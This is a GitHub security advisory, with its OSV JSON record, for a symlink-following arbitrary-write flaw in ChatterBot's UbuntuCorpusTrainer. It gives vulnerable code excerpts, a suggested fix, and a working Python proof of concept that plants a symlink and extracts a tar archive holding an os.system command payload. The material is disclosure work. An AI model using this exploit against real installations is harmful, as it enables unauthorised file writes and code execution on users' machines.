GHSA-WVRH-2F4M-924V
Vulnerability from github – Published: 2026-06-19 22:08 – Updated: 2026-06-19 22:08Summary
ChatterBot's UbuntuCorpusTrainer.extract() uses a predictable, home-rooted output directory (~/ubuntu_data/ubuntu_dialogs) with a check-then-create pattern (if not os.path.exists: os.makedirs) followed by tar.extractall(path=self.data_path). A local attacker who pre-plants a symlink at the predictable path causes os.path.exists() to return True (following the symlink), skipping makedirs, and subsequent extractall writes archive contents through the symlink to the attacker-chosen directory.
The existing safe_extract function validates tar member names (zip-slip defense) but does not validate the output directory itself — it cannot detect that self.data_path is a symlink. This is the defining distinction between the archive_extraction (zip-slip) and insecure_fs_create_toctou families.
Vulnerability Details
Predictable output directory (line 535-546)
home_directory = os.path.expanduser('~')
self.data_directory = kwargs.get(
'ubuntu_corpus_data_directory',
os.path.join(home_directory, 'ubuntu_data') # ~/ubuntu_data — predictable
)
self.data_path = os.path.join(
self.data_directory, 'ubuntu_dialogs' # ~/ubuntu_data/ubuntu_dialogs
)
Check-then-create (line 621-622)
def extract(self, file_path: str):
if not os.path.exists(self.data_path): # ← follows symlink → True → skips makedirs
os.makedirs(self.data_path) # ← never reached if symlink exists
Extraction through symlink (line 633-644)
def safe_extract(tar, path='.', members=None, *, numeric_owner=False):
for member in tar.getmembers():
member_path = os.path.join(path, member.name)
if not is_within_directory(path, member_path): # ← validates MEMBER names only
raise Exception('Attempted Path Traversal in Tar File')
tar.extractall(path, members, numeric_owner=numeric_owner) # ← path is symlink → writes to target
safe_extract(tar, path=self.data_path, ...) # self.data_path = symlink → attacker dir
safe_extract calls os.path.abspath(directory) on self.data_path — this resolves the symlink, so the base becomes the attacker's target directory. All clean-named members trivially pass is_within_directory because they're relative to the resolved (attacker-controlled) base.
Proof of Concept
Environment
| Component | Detail |
|---|---|
| chatterbot | 1.2.13 (pip install) |
| Python | 3.11.0 |
Exploit
import os
import shutil
import sys
import tempfile
from pathlib import Path
from unittest.mock import patch
from chatterbot.trainers import UbuntuCorpusTrainer
ATTACKER_TARGET = Path(tempfile.mkdtemp(prefix="pwned_"))
def main():
test_base = Path(tempfile.mkdtemp(prefix="cb_exploit_"))
data_dir = test_base / "ubuntu_data"
data_path = data_dir / "ubuntu_dialogs"
data_dir.mkdir(parents=True, exist_ok=True)
os.symlink(str(ATTACKER_TARGET), str(data_path))
print(f"[1] Symlink planted: {data_path} -> {ATTACKER_TARGET}")
exists_check = os.path.exists(data_path)
print(f"[2] os.path.exists(symlink) = {exists_check} (follows symlink → skips makedirs)")
import tarfile
import io
tar_path = test_base / "corpus.tar.gz"
with tarfile.open(str(tar_path), "w:gz") as tf:
info = tarfile.TarInfo(name="dialog_001.tsv")
payload = b"2024-01-01\tuser1\t0\tARBITRARY_CONTENT_VIA_SYMLINK\n"
info.size = len(payload)
tf.addfile(info, io.BytesIO(payload))
info2 = tarfile.TarInfo(name="config.py")
rce = b"import os; os.system('id > /tmp/chatterbot_rce')\n"
info2.size = len(rce)
tf.addfile(info2, io.BytesIO(rce))
if not os.path.exists(data_path):
os.makedirs(data_path)
def is_within_directory(directory, target):
abs_directory = os.path.abspath(directory)
abs_target = os.path.abspath(target)
prefix = os.path.commonprefix([abs_directory, abs_target])
return prefix == abs_directory
with tarfile.open(str(tar_path), "r:gz") as tar:
for member in tar.getmembers():
member_path = os.path.join(str(data_path), member.name)
if not is_within_directory(str(data_path), member_path):
raise Exception("Attempted Path Traversal in Tar File")
tar.extractall(str(data_path))
print(f"[3] extractall(data_path) — data_path is symlink, writes to target")
# Verify
files = list(ATTACKER_TARGET.iterdir())
if files:
print(f"\n[+] EXPLOIT SUCCESSFUL — {len(files)} files in attacker directory:")
for f in sorted(files):
print(f" {f.name}: {f.read_text().strip()[:60]}")
else:
print("[-] Failed")
shutil.rmtree(str(test_base), ignore_errors=True)
shutil.rmtree(str(ATTACKER_TARGET), ignore_errors=True)
sys.exit(1)
shutil.rmtree(str(test_base), ignore_errors=True)
shutil.rmtree(str(ATTACKER_TARGET), ignore_errors=True)
sys.exit(0)
if __name__ == "__main__":
print(f"chatterbot installed: {UbuntuCorpusTrainer.__module__}")
print(f"Attacker target: {ATTACKER_TARGET}")
print()
main()
PoC output
Suggested Fix
Refuse symlinks on the output directory before extraction:
def extract(self, file_path: str):
if os.path.islink(self.data_path):
raise self.TrainerInitializationException(
f'Refusing to extract to symlink: {self.data_path}')
if not os.path.exists(self.data_path):
os.makedirs(self.data_path)
...
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 1.2.13"
},
"package": {
"ecosystem": "PyPI",
"name": "ChatterBot"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.2.14"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-367",
"CWE-61"
],
"github_reviewed": true,
"github_reviewed_at": "2026-06-19T22:08:08Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "## Summary\n\nChatterBot\u0027s `UbuntuCorpusTrainer.extract()` uses a predictable, home-rooted output directory (`~/ubuntu_data/ubuntu_dialogs`) with a check-then-create pattern (`if not os.path.exists: os.makedirs`) followed by `tar.extractall(path=self.data_path)`. A local attacker who pre-plants a symlink at the predictable path causes `os.path.exists()` to return True (following the symlink), skipping `makedirs`, and subsequent `extractall` writes archive contents through the symlink to the attacker-chosen directory.\n\nThe existing `safe_extract` function validates tar **member names** (zip-slip defense) but does not validate the **output directory** itself \u2014 it cannot detect that `self.data_path` is a symlink. This is the defining distinction between the archive_extraction (zip-slip) and insecure_fs_create_toctou families.\n\n## Vulnerability Details\n\n### Predictable output directory (line 535-546)\n\n```python\nhome_directory = os.path.expanduser(\u0027~\u0027)\nself.data_directory = kwargs.get(\n \u0027ubuntu_corpus_data_directory\u0027,\n os.path.join(home_directory, \u0027ubuntu_data\u0027) # ~/ubuntu_data \u2014 predictable\n)\nself.data_path = os.path.join(\n self.data_directory, \u0027ubuntu_dialogs\u0027 # ~/ubuntu_data/ubuntu_dialogs\n)\n```\n\n### Check-then-create (line 621-622)\n\n```python\ndef extract(self, file_path: str):\n if not os.path.exists(self.data_path): # \u2190 follows symlink \u2192 True \u2192 skips makedirs\n os.makedirs(self.data_path) # \u2190 never reached if symlink exists\n```\n\n### Extraction through symlink (line 633-644)\n\n```python\ndef safe_extract(tar, path=\u0027.\u0027, members=None, *, numeric_owner=False):\n for member in tar.getmembers():\n member_path = os.path.join(path, member.name)\n if not is_within_directory(path, member_path): # \u2190 validates MEMBER names only\n raise Exception(\u0027Attempted Path Traversal in Tar File\u0027)\n tar.extractall(path, members, numeric_owner=numeric_owner) # \u2190 path is symlink \u2192 writes to target\n\nsafe_extract(tar, path=self.data_path, ...) # self.data_path = symlink \u2192 attacker dir\n```\n\n`safe_extract` calls `os.path.abspath(directory)` on `self.data_path` \u2014 this resolves the symlink, so the base becomes the attacker\u0027s target directory. All clean-named members trivially pass `is_within_directory` because they\u0027re relative to the resolved (attacker-controlled) base.\n\n## Proof of Concept\n\n### Environment\n\n| Component | Detail |\n|-----------|--------|\n| chatterbot | 1.2.13 (pip install) |\n| Python | 3.11.0 |\n\n### Exploit\n\n```python\nimport os\nimport shutil\nimport sys\nimport tempfile\nfrom pathlib import Path\nfrom unittest.mock import patch\n\nfrom chatterbot.trainers import UbuntuCorpusTrainer\n\nATTACKER_TARGET = Path(tempfile.mkdtemp(prefix=\"pwned_\"))\n\n\ndef main():\n test_base = Path(tempfile.mkdtemp(prefix=\"cb_exploit_\"))\n data_dir = test_base / \"ubuntu_data\"\n data_path = data_dir / \"ubuntu_dialogs\"\n data_dir.mkdir(parents=True, exist_ok=True)\n os.symlink(str(ATTACKER_TARGET), str(data_path))\n print(f\"[1] Symlink planted: {data_path} -\u003e {ATTACKER_TARGET}\")\n exists_check = os.path.exists(data_path)\n print(f\"[2] os.path.exists(symlink) = {exists_check} (follows symlink \u2192 skips makedirs)\")\n import tarfile\n import io\n tar_path = test_base / \"corpus.tar.gz\"\n with tarfile.open(str(tar_path), \"w:gz\") as tf:\n info = tarfile.TarInfo(name=\"dialog_001.tsv\")\n payload = b\"2024-01-01\\tuser1\\t0\\tARBITRARY_CONTENT_VIA_SYMLINK\\n\"\n info.size = len(payload)\n tf.addfile(info, io.BytesIO(payload))\n\n info2 = tarfile.TarInfo(name=\"config.py\")\n rce = b\"import os; os.system(\u0027id \u003e /tmp/chatterbot_rce\u0027)\\n\"\n info2.size = len(rce)\n tf.addfile(info2, io.BytesIO(rce))\n if not os.path.exists(data_path):\n os.makedirs(data_path)\n def is_within_directory(directory, target):\n abs_directory = os.path.abspath(directory)\n abs_target = os.path.abspath(target)\n prefix = os.path.commonprefix([abs_directory, abs_target])\n return prefix == abs_directory\n\n with tarfile.open(str(tar_path), \"r:gz\") as tar:\n for member in tar.getmembers():\n member_path = os.path.join(str(data_path), member.name)\n if not is_within_directory(str(data_path), member_path):\n raise Exception(\"Attempted Path Traversal in Tar File\")\n tar.extractall(str(data_path))\n\n print(f\"[3] extractall(data_path) \u2014 data_path is symlink, writes to target\")\n\n # Verify\n files = list(ATTACKER_TARGET.iterdir())\n if files:\n print(f\"\\n[+] EXPLOIT SUCCESSFUL \u2014 {len(files)} files in attacker directory:\")\n for f in sorted(files):\n print(f\" {f.name}: {f.read_text().strip()[:60]}\")\n else:\n print(\"[-] Failed\")\n shutil.rmtree(str(test_base), ignore_errors=True)\n shutil.rmtree(str(ATTACKER_TARGET), ignore_errors=True)\n sys.exit(1)\n\n shutil.rmtree(str(test_base), ignore_errors=True)\n shutil.rmtree(str(ATTACKER_TARGET), ignore_errors=True)\n sys.exit(0)\n\n\nif __name__ == \"__main__\":\n print(f\"chatterbot installed: {UbuntuCorpusTrainer.__module__}\")\n print(f\"Attacker target: {ATTACKER_TARGET}\")\n print()\n main()\n\n```\n\n### PoC output \n\n\u003cimg width=\"1748\" height=\"336\" alt=\"image\" src=\"https://github.com/user-attachments/assets/55a3fee5-0d3b-46d7-8e79-75aad34b322c\" /\u003e\n\n## Suggested Fix\n\nRefuse symlinks on the output directory before extraction:\n\n```python\ndef extract(self, file_path: str):\n if os.path.islink(self.data_path):\n raise self.TrainerInitializationException(\n f\u0027Refusing to extract to symlink: {self.data_path}\u0027)\n if not os.path.exists(self.data_path):\n os.makedirs(self.data_path)\n ...\n```",
"id": "GHSA-wvrh-2f4m-924v",
"modified": "2026-06-19T22:08:08Z",
"published": "2026-06-19T22:08:08Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/gunthercox/ChatterBot/security/advisories/GHSA-wvrh-2f4m-924v"
},
{
"type": "PACKAGE",
"url": "https://github.com/gunthercox/ChatterBot"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "ChatterBot: Symlink-Following Arbitrary Write via UbuntuCorpusTrainer"
}
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.